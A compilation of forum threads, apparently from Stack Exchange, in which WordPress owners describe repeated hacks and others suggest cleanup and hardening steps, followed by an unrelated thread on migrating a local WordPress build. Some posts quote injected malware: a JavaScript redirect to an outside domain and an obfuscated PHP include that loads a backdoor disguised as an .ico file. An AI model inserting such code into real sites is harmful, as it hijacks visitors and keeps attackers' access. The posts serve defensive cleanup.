I've got a site that has been hacked for the fourth time now this month. With scripts hosted on autofaucet.org. (sloppy code even, found their names. Some Russian dudes. But that's off topic) I've taken some measurements to prevent a new hack, but alas...
I've installed a clean WP installation on the server, with clean files and a clean DB.
reinstalled the plugins clean
I have All In One WP Security & Firewall plugin for file scanning, firewall, hide inlog page, etc.
Changed all the wordpress passwords.
I've notices the encoded code is being placed in files called assets.php.
I'm curious how a hacker would inject/place the code on the server. How to prevent it better and what questions to ask the webhost company. I've asked them before and they just say it's my fault, update the wp installation and move on. What should they check if the code is injected from their side?
Your log files (of the web server) e.g. /var/log/nginx/access.log with the nginx web server will tell you who it was. Look for the change date/time of the assets.php file. Then check server access logs for IP addresses from that exact time. Then search logs for that IP address. You will find the first accesses by that IP address. That was likely the hack.
Usually Wordpress plugins are to blame as long as you keep the WP site updated. So, you could disable plugins not needed urgently, and disable the others one by one, or all for testing.
As a workaround, you can make the index.php (or other) file under attack read-only. In the past I have worked around particular attacks by chown root.root filetobeattacked.php which usually works (but may hinder updates, so it's a temporary solution). If you are not root on the server (shared hosting) perhaps chmod 444 filetobeattacked.php could work.
I had same issue before. It might be the wordpress core files.
Delete all files except wp-content, then download and replace it with the new wordpress files.
Search for 'autofaucet.org' inside wp-content, and remove if necessary.
Open wp-contents/themes/ then check functions.php - check if any additional code is there on top. Check the last updated files and time inside the theme and plugins.
Export database files and searcg for 'autofaucet.org' and remove if any item found.
Related
I have a website that is running on an AWS server using the Bitnami Nginx and WordPress image.
https://www.athleticclubhk.com/
Recently it got all our ads on Google stopped due to malicious content. Oddly this time, its trickier then your standard malware of infected files. When visiting the site incognito, the first and only the first link click gets redirected using the following code:
window.location.replace("https://cartoonmines.com/scount");window.location.href = "https://cartoonmines.com/scount";
This is being injected on any link, however, upon investigating the loaded code on inspect its not injecting it into the page.
I've tried to hunt down the theme, plugins, core files and found nothing!
I replaced and reinstalled WordPress core files, deactivated all plugins and even swapped the theme - the problem is still there. I can't find any hidden .htaccess file in the entire root directory.
I even used GREP to try to look for anything fishy (any clues here that someone can help with?) nothing so far.
The site is still impacted with this so you can easily load the link ~ i do use malwarebytes to keep myself protected, incase you are opening this directly.
Can anyone help?
The redirection code is implanted to /wp-includes/js/wp-emoji-release.min.js.
How to confirm:
watch the cookies when clicking internal page, a new cookie is being set for tracking first clicks, named ht_rr
save complete webpage locally and try to load it, and check in Chrome dev tools, you'll see that in Console tab it complains about this Javascript file attempting to set the aforementioned cookie
While a temporary resolution of deleting the file will fix things for some time...
There's no excuse for not setting up a proper server stack. Bitnami or other "great stacks" won't cut it security-wise. They exist for "fast", but no "quality" setup, and of course, it's never going to be secure.
The file got created somehow / had write privileges. This indicates a problem with the setup most of the time. Unless you're using some nulled plugins or plugins from bad sources.
Once again, since the website was essentially "pwned", deleting the Javascript file does not mean complete disinfection. To preserve things in a secure state, I would recommend setting things on a clean server environment with strict PHP-FPM permissions aka "lockdown" chmod, and look for write errors to look for infected PHP files.
Check out some guides on the matter of secure NGINX/PHP-FPM setup:
NGINX and PHP-FPM. What my permissions should be?
Best practice secure NGINX configuration for WordPress
NGINX Security Headers, the right way
Just had the same problem and it was Zend Font Plugin, the same that some people mentioned before.
Installed Wordfence and this came out. Deleted the plugin and now the site is working perfectly.
Disable plugins and check again.
Change the database username and password.
Ask the hosting manager to check the host.
It looks like my wordpress site has been hacked. Following code snipt was in index.php, wp-config.php
<?php
/*6b9bb*/
#include "\057ho\155e/\151nt\145r7\0602/\160ub\154ic\137ht\155l/\167p-\151nc\154ud\145s/\152s/\164in\171mc\145/.\146b4\063d6\0700.\151co";
/*6b9bb*/
I have changed:
WP Admin URL and put strong password username
changed cpanel/FTP password with strong one
Implemented iTheme Security
Updated Wordpress to latest (themes and plugins)
However, the code again repeated. What can be good solutions?
p.s. I am using siteground.
Thanks
Yeah someone is including a .ico file (open it with a Text Editor, and you will see it is some php Code and no real ico file)
/home/inter702/public_html/wp-includes/js/tinymce/.fb43d680.ico
Somehow despite your changes of host and passwords you hacker is able to get in, once they are in they can setup all sorts of backdoors to keep access, any .php file of theirs can do this.
At the moment closing the initial front-door they use is your sole occupation.
Follow the advice in this article:
https://codex.wordpress.org/FAQ_My_site_was_hacked
And then: https://codex.wordpress.org/Hardening_WordPress
Here are some links about backdoors:
http://smackdown.blogsblogsblogs.com/2008/06/24/how-to-completely-clean-your-hacked-wordpress-installation/
http://smackdown.blogsblogsblogs.com/2012/11/14/hacked-on-hostpapa-or-netregistry/
http://ottopress.com/2009/hacked-wordpress-backdoors/
Source: https://wordpress.org/support/topic/wordpress-hacked-strange-files-appears/
Once the site is hacked, in my opinion, resistance is futile. No scan or tool will help you. you'll have to replace all files with fresh downloads. mostly it's straight forward:
Backup the whole installation (just in case)
Download the complete wp-content/uploads folder
Make a Screenshot or save the page with the currently active plugins
Delete ALL files
Get a fresh wordpress setup and extract it
Download a fresh copy of your theme and child-theme (recreate the previous setup)
Copy the previous wp-config.php to this fresh install. but take a GOOD look at it. usually it also has some virus/backdoors in it. usually easy to see and remove. now you're already connected with your DB
Examine the saved uploads folder for files that shouldnt be there, like php files. then upload it to the new folder
Reinstall all plugins, fresh downloads
I faced this problem too, and step by step I did the steps below:
Cleaning the injected code, manually
Changing all the passwords
Hiding the WP admin dashboard URL
Limiting the login attempts
Installing security plugins (Sucuri, Wordfence security)
Contracting with Sucuri plan
The good thing is to install Wordfence security plugin, run the scan, then you will detect all the files with the injected code and you can clean the injected code manually.
you can also visit this link too
https://naderzad.info/web-development/wordpress-code-injection/
I have an issue with my WordPress site.
My website is generating adult pages which is not present on our website/database or server. It is showing in google search result like this for example siteurl.com/en/aarp-dating (around 500 pages google crawled) we have checked all our database and found around 30 new tables are automatically created and while we delete it after sometime it restore automatically.
How can I find the malicious code on my server/pages or what kind of problem is this?
Thanks in advance !!
Download the full installation, then compare the files' checksums with a clean backup or a fresh installation of the same WP + Plugins + Theme versions.
Most important: find out how they infected your site and close that hole or you will be back at square one in a short time after you've uploaded a clean backup. Check the Access Logs, filter out known IP addresses of you and your users, and look at the rest, especially POST requests. Also make sure to check the FTP-logs and (if you have ssh access to your host) auth logs to make sure that your/your coworkers' machines/passwords haven't been compromised.
Also make sure you don't miss any extra individual files or plugins that shouldn't be there.
You cannot trust what you see in the backend at this point, so check the database directly for new users you don't know and users with privileges they shouldn't have. Comparing with a recent backup can help.
Since it's not clear how long your site has been infected, I wouldn't trust recent backups (or any, really) either. Set up a fresh install after you found and fixed the entry point, then manually (or with a script, but be careful not to transfer back doors) transfer content to the clean install.
Use Wordfence Security Plugin & scan for infected core files of wordpress.
Use Sucuri plugin.
Also, desactivate ALL of your plugin and install a basic theme of wordpress before.
I have two wordpress websites on my dedicated server, and the htaccess files of both websites keeps changing to default one and become 444 chmod.
Even after i fix it and put chmod 444 of mine few days later it changes again on both websites.
Could you please help me make the htaccess files impossible to be overwritten or edited no matter what?
I will appreciate any help,
Thank you
I find my infected file in one of the themes of wordpress, so you have two ways
LogIn to wordpress and delete all the new themes that you are not using.
Go to you your admin page go to folder: wp-content/themes/sydney/404.php
open it and if you see the virus code like if it has +xml or Rewrite wordpress etc delete it.
go through all the themes folder 404.php pages.
change your wp login user name and password.
delete all the infected .htaccess files/remove the infected code and monitor your website the regularly and check ur .htaccess file to make sure you don't get attacked again.
I have resolved this by scanning my ubuntu server using clamAv through SSH.
Here is the command line I used:
clamav -ril /home/user/clamav.txt
The results revealed a backdoor script embedded in one of my old themes which wasn't even activated. I deleted that old theme entirely and rebooted my server then the problem is gone.
Don't waste your time with a WordPress plugin to scan for malware or
backdoor because that is unlikely to locate any virus. Install ClamAV
into your server then scan. If nothing is detected yet?! Install
another anti similar to ClamAV until you succeed to locate the threat.
Ok, so I'm familiar with creating local Wordpress builds, and have been chugging along happily with the technique outlined in Smashing's MAMP-based article. My question goes a step beyond this.
The article is great for developing generic themes, but when developing sites (not necessarily blogs) based in Wordpress, for me at least, it's a little painful come launch day.
I have to go back in and reconfigure the server's Wordpress to match what I've already done locally. Settings have to be entered again, plugins need be installed again, menus recreated, and css will have to be altered to reference the unique classes/id's Wordpress generates for posts/pages/custom taxonomies…sometimes things are missed in the process. What I want to know is this:
Is there an easy way to automate cloning or mirroring the build on my local machine to the remote server?
Even if you have to just LMGTFY me, that would help. I don't exactly know what I should be searching for. Searches dealing with 'mirroring wordpress configuration' and 'cloning wordpress configuration' returns tutorials on moving content, which I know how to do.
If it helps, I'm running OSX 10.6.8 with xcode dev tools, git, ruby, node, and homebrew. All of my live servers have ssh access as well as ftp, and I build with the most current versions of Wordpress.
Here are some easy steps to follow:
Download and install the WP Migrate DB plugin.
Go to Tools > WP Migrate DB and fill-in the blank fields(New address (URL), New file path and optionally check/uncheck the other options). Click on Export Database and save the export file to your computer.
Make a .zip archive with ALL of your files(the /wp-admin, /wp-content, /wp-includes directories and all files in the root directory).
Upload that file to your production server, where you want your WordPress site to reside.
Go to your cPanel(or use the unzip command through SSH) File Manager(or any other alternative that you might have) and unzip the file that you just uploaded.
If you don't already have a Database set-up on your production server - create one through the hosting control panel(for cPanel, it would be Creating a mySQL database in cPanel, for plesk it would be Plesk 7 Tutorial: Creating a database, for anything else, just google it up, or try your hosting's FAQ). Remember/write-down your Database Name, Database User and Password.
Edit the wp-config.php file and change the values for the DB_NAME, DB_USER, DB_PASSWORD and optionally DB_HOST - but this is usually localhost - if that doesn't work try asking your web host, or if you have phpMyAdmin, log-in to it and look at the very top of the page - in this case the DB_HOST would be localhost.
After you've done all of that, log-in to your DB administration tool(most of the time this would be phpMyAdmin, but it could be something else as well) and upload the database export file that you save to your computer in step 2. Note: If your hosting hasn't provided you with a DB administration tool, I would suggest that you upload the phpMiniAdmin(click on the "Download latest version" link and save the file to your computer) script to your production server. Then go to that script(if your website is located at http://example.com/, go to http://example.com/phpminiadmin.php) and enter your DB details. On top of that page, you will see an import link. Click on it and upload your DB export file. Note 2: phpMiniAdmin doesn't support gzip-compressed files, so if you did check the Compress file with gzip option in step 2, you will have to re-do that step with this option unchecked.
Log-in to your site and go to Settings > Permalinks in order to update your permalink structure.
Check the permissions of the /wp-content/uploads and /wp-content/plugins directories - make sure that you will be able to upload images and plugins without any problems.
That's pretty much it. It might seem like a lot, but I follow this process for almost every site that I upload to production servers and it can take me as less as a bit under 10 minutes to do all of that(considering that I usually use custom MySQL commands, instead of the WP Migrate DB plugin - I should probably start using it :) ). Once you get used to the process and you don't encounter any low-quality web hostings, you should be perfectly fine with these steps.
Note: Since you used ssh as one of your tags, I assume that you usually have ssh access to the production server. If you don't I'm still assuming that you have a cPanel access(if that's not true and you can't unzip files on the server, then upload all files manually via FTP client, instead of doing steps 3 and 4).
I guess the only way is to copy the database or part of it.
What I do is to copy the relevant tables and modify manually the site URLs in table options. There are only 2. There is also a nice plugin velvet-blues-update-urls to modify all links, after the site URLs are set manually to be able to access the backend, in case posts are also copied.
Next, copy all theme directory files to the same directory in the site, assuming you are using the same theme.
Both processes can be automated with a PHP script.
I am not sure this is what you want, but hope this helps.
Not sure that this is exactly what you need, but to move a site you can use the built in Wordpress "export" and "import" options. As far as I remember there was an option when importing to change URL's and the import would change a few things for you.
Even if this does not answer your exact question, hope it helps.